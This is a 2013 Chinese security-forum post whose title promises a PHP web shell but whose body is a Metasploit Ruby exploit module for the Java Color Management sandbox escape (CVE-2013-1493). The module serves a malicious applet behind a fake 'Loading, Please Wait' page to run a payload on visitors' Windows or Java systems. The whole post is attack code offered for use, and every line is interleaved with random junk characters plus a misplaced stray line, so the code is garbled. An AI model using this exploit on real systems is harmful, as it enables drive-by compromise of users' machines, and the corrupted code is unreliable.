找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2279|回复: 0
打印 上一主题 下一主题

STUNSHELL PHP Web Shell远程执行代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:31:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
##
9 x8 a' q8 p3 \6 \4 j  J: d; c5 T: C' Z3 m
# This file is part of the Metasploit Framework and may be subject to
+ [- F2 J5 ^; n7 r1 l# redistribution and commercial restrictions. Please see the Metasploit! ~% ~2 ~3 u9 |4 @4 _9 G
# web site for more information on licensing and terms of use.
$ ?/ H, u8 q- u3 [3 E' h# http://metasploit.com/
% Y3 V1 ?  T( ~' C  K8 S) S8 s##: B+ K8 X0 G0 n; w- o6 M1 A: C
require ‘msf/core’* n  [/ ]- N, P
require ‘rex’2 x8 ]+ d, u1 }) k( e8 ^' B) E
class Metasploit3 < Msf::Exploit::Remote
/ ?/ f) O. D4 B( [7 aRank = NormalRanking
: O( p1 o+ B- ^0 C0 |include Msf::Exploit::Remote::HttpServer::HTML1 R! X9 U8 v7 j7 z
include Msf::Exploit::EXE
. t% h& ^% Z& @/ u# e% w6 ~: o: ?include Msf::Exploit::Remote::BrowserAutopwn
' G  U" J3 ?% c) V* ~+ M( Q6 kautopwn_info({ :javascript => false })8 n) @' g5 c2 ~7 n) l8 Q4 v( @
def initialize( info = {} )
2 h! |9 x" y( ^+ K- f3 W, osuper( update_info( info,
- R* A* E# m! H1 J) M0 V* H‘Name’ => ‘Java CMM Remote Code Execution’,
4 z, J: ~- `: y3 [8 o‘Description’ => %q{/ E% h, [8 ~. ~: S* `3 j3 O4 p6 f: E# P
This module abuses the Color Management classes from a Java Applet to run0 D1 Q! Q, {6 j% J# C  n3 l8 E2 D
arbitrary Java code outside of the sandbox as exploited in the wild in February
* [1 b1 K: u( {( n( A$ I5 eand March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
' C0 b2 @3 N  Z3 w. ~$ ~: Z7 \2 i1 Dand earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1% o0 t: g- \( @3 F- J
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java- ~1 l6 E$ X( j7 m7 f# U! S
warning in order to run the malicious applet./ E$ b) L( G# Q$ s* J  G3 N
},* f: T' |- n1 G* F) ~0 q$ H
‘License’ => MSF_LICENSE,
8 J* @: k9 H! Q2 [‘Author’ =>) J7 \/ n, }' O7 i/ l& E- @6 j
'Unknown', # Vulnerability discovery and Exploit) i; h" i8 U# x. [+ A: a3 K" k
'juan vazquez' # Metasploit module (just ported the published exploit)
$ N% l  ~* z5 \2 Y- K! x% M],
% L* c1 |8 S6 }- E# L% d‘References’ =>
+ n2 n6 y. w7 ?5 ]- H5 U[
: R3 O- H  X( |4 w5 M[ 'CVE', '2013-1493' ],+ p% W7 [8 N2 _) N
[ 'OSVDB', '90737' ],1 i' M1 m! P7 A; E- k
[ 'BID', '58238' ],
1 |! O$ g* ?; l[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
9 X8 `9 N' O7 p# V[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],+ Y$ a$ @( Y/ s; w" }# f& z
[ 'URL', 'http://pastie.org/pastes/6581034' ]
4 [" O" P. p5 q8 j8 ^],# y) ?  N- V! F4 Z0 U
‘Platform’ => [ 'win', 'java' ],; j5 ?$ Q, I' g: r/ h0 H
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },- y9 |4 G/ Z# W( g3 y
‘Targets’ =>
* ^, v0 e6 \! ]" A0 j. M' o[7 b* n; v0 H, J
[ 'Generic (Java Payload)',
( h. Q" n  @/ x! c2 b8 {9 C/ C2 }{
# P4 g5 u% ~% Q! y3 l- L1 h'Platform' => 'java',
4 \/ C# U3 Z* @- }) I: k'Arch' => ARCH_JAVA
! s0 ^) s+ c% T( i; Y}
) G3 [. C) r/ }. d. ?( U$ C* c],
% k! P  h0 r, U" U[ 'Windows x86 (Native Payload)',
/ |# M' H( J' c  Z$ j1 }{5 D4 a/ h  u0 K0 y* L9 P
'Platform' => 'win',
6 h! h& b! f) Q$ z'Arch' => ARCH_X86
) Y! X, c/ r$ Y9 A0 r7 l& x2 s}
0 m" B7 C  V. []1 d2 M( t' @) p* ^
],7 h  {9 X8 v/ V. _- n/ z% R
‘‘DisclosureDate’ => ‘Mar 01 2013′3 d8 H# U* u+ e' u* ]
))
8 _2 L5 A' A: u  D' r" L0 t9 V) send
/ L. o1 ^+ V& V# _+ n# r2 I2 j+ xdef setup
# V! e# D6 x+ C& Opath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)* h/ y7 n  \9 C2 q4 O" z" l
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }4 p: p( g* w' C; }" a6 q, j0 J% G# _
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
8 h+ u% j# v# c4 u9 |# x@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }0 \# P% Q/ |  H+ }
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
. l8 q" o  L! U; e@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }' s# D- S: r6 [2 ?, X
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)4 l* X5 x% d- V: }5 Z; R" @
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
4 [' @* ?' K9 F3 C@init_class_name = rand_text_alpha(“Init”.length)
* w6 i& U' p% X# d$ {9 [5 K@init_class.gsub!(“Init”, @init_class_name)1 i" j1 J- B/ Q
super3 @% j# @* J- g$ a2 n. W
end
8 ^" i( _* b9 f" e" d/ J& Bdef on_request_uri(cli, request)5 S4 d# ~0 x: Z  D* m
print_status(“handling request for #{request.uri}”)0 S, ^) m8 \0 O- z9 `5 z
case request.uri
% U( t" _5 _; l: a* Uwhen /\.jar$/i
) e6 i" X; V8 Qjar = payload.encoded_jar
+ D+ _2 U+ I8 \% Jjar.add_file(“#{@init_class_name}.class”, @init_class)+ e! f+ V1 S  h. o4 i1 D" A
jar.add_file(“Leak.class”, @leak_class)
6 S! U( n2 t. E9 H  ^5 b5 _jar.add_file(“MyBufferedImage.class”, @buffered_image_class)* U: L: e+ E/ G
jar.add_file(“MyColorSpace.class”, @color_space_class)
, Q) E. _- ]0 a8 C- \% r. f7 b, E( QDefaultTarget’ => 1,, i* h5 S2 v, m! q, s* Z* K( F( F3 F
metasploit_str = rand_text_alpha(“metasploit”.length)
7 I2 _  _2 x/ I7 t3 h0 w' E) Opayload_str = rand_text_alpha(“payload”.length): T+ a; J$ K5 j4 D
jar.entries.each { |entry|' P  i7 U+ ?5 S, }) r8 I2 W( j
entry.name.gsub!(“metasploit”, metasploit_str)
, j" _/ X- i% b' F. Lentry.name.gsub!(“Payload”, payload_str)% W5 D: P  i' u" Z' z" T
entry.data = entry.data.gsub(“metasploit”, metasploit_str)6 s0 l1 P6 [  U, s& P+ V8 e4 l
entry.data = entry.data.gsub(“Payload”, payload_str)$ q0 y, q0 w9 b1 ?3 F: Z
}1 ?: h8 j9 g5 ^* w( F2 l6 ^
jar.build_manifest
$ S4 B+ C, {: m* z" osend_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })6 K' H" \' d, y8 I! n$ h( X
when /\/$/
( U/ \5 K2 _( W$ @4 k* H$ }* u8 vpayload = regenerate_payload(cli)" `+ [: z+ h1 Q  x. i
if not payload9 a" r/ @$ [5 m
print_error(“Failed to generate the payload.”)+ N" H5 k7 G  P' ?
send_not_found(cli)* o  a5 ^! d+ j: `' ?# S
return
8 Q2 E* J( f2 n, `* {7 oend
; I( X* s! V; o/ L7 D! X& l( F1 ssend_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
0 k9 L. \- @: m7 l& |else
. }/ r8 L1 P# U# m6 z8 I4 ]' H, Ssend_redirect(cli, get_resource() + ‘/’, ”)+ D% V3 O. c* f  W/ u) q$ A
end* j: s! W9 ~  }) ]6 n
end8 }0 S1 |9 P4 p' g* M
def generate_html& K; M% i& k" d( u) B. p. }
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
# o# O' @. X- B9 i" R0 E2 ihtml += %Q|<body><center><p>Loading, Please Wait…</p></center>|6 j# N$ b  |' |4 D/ ?9 a
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
9 ~! ]; N8 _9 @5 N* R& @html += %Q|</applet></body></html>|
5 Q% [3 {2 Y6 }3 O9 i" i0 hreturn html4 P  q" s0 Z5 f# N
end
- C' ^* Z2 m, }4 F1 }0 |end( E; }  O5 o6 [, Y2 @. J
end
0 m" v! g1 k; z8 H( n( X: K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表